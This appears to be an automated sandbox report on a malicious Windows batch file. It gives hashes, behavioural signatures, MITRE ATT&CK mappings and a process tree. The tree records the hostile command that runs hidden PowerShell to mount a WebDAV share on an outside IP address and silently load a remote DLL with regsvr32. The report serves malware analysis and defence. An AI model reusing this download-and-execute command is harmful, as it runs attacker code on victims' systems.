8aa34afd1a9ab14b7e60c8e4621bf6221df8c84e61dd011af770d56f81a76222

Analysis

max time kernel
122s
max time network
124s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
20/07/2024, 01:00

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General

Target

1832028887262106674.bat
Size

11KB
MD5

d432ff69ce2e05895a1119287b771f68
SHA1

fb9ba507b97ee9aa54cecb0a560b4dfd8cb68f21
SHA256

8aa9222871a3a3e425482ab3e6c6a2e3d834f197d5a412269469460c85884acb
SHA512

4d9396c2a0ae219b49844fec90d030d3435ee885016cc2b9330a518c354eb1a8b647256f1433474a0ff3f57545630d8be3b5933d8003c9bff124d656a75c0be5
SSDEEP

192:Bu9573GBepbmKiuM71sS4HpzS4jyoR8Wr6LfnRLfn2AtUXlQSQm84eVDYYkoBT:oh3G8gKiui1sS4HpzS4jyoR8Wr6LfnRv

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2540	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2540	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2540	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2020	wordpad.exe
2020	wordpad.exe
2020	wordpad.exe
2020	wordpad.exe
2020	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2064 wrote to memory of 2020	2064	cmd.exe	32
PID 2064 wrote to memory of 2020	2064	cmd.exe	32
PID 2064 wrote to memory of 2020	2064	cmd.exe	32
PID 2064 wrote to memory of 2540	2064	cmd.exe	33
PID 2064 wrote to memory of 2540	2064	cmd.exe	33
PID 2064 wrote to memory of 2540	2064	cmd.exe	33
PID 2540 wrote to memory of 2888	2540	powershell.exe	35
PID 2540 wrote to memory of 2888	2540	powershell.exe	35
PID 2540 wrote to memory of 2888	2540	powershell.exe	35
PID 2540 wrote to memory of 2776	2540	powershell.exe	36
PID 2540 wrote to memory of 2776	2540	powershell.exe	36
PID 2540 wrote to memory of 2776	2540	powershell.exe	36
PID 2540 wrote to memory of 2776	2540	powershell.exe	36
PID 2540 wrote to memory of 2776	2540	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1832028887262106674.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\37832390718761.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2888
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\37832390718761.dll
    3⤵
    PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2540-23-0x000000001B510000-0x000000001B7F2000-memory.dmp

Filesize
2.9MB

Download
memory/2540-24-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download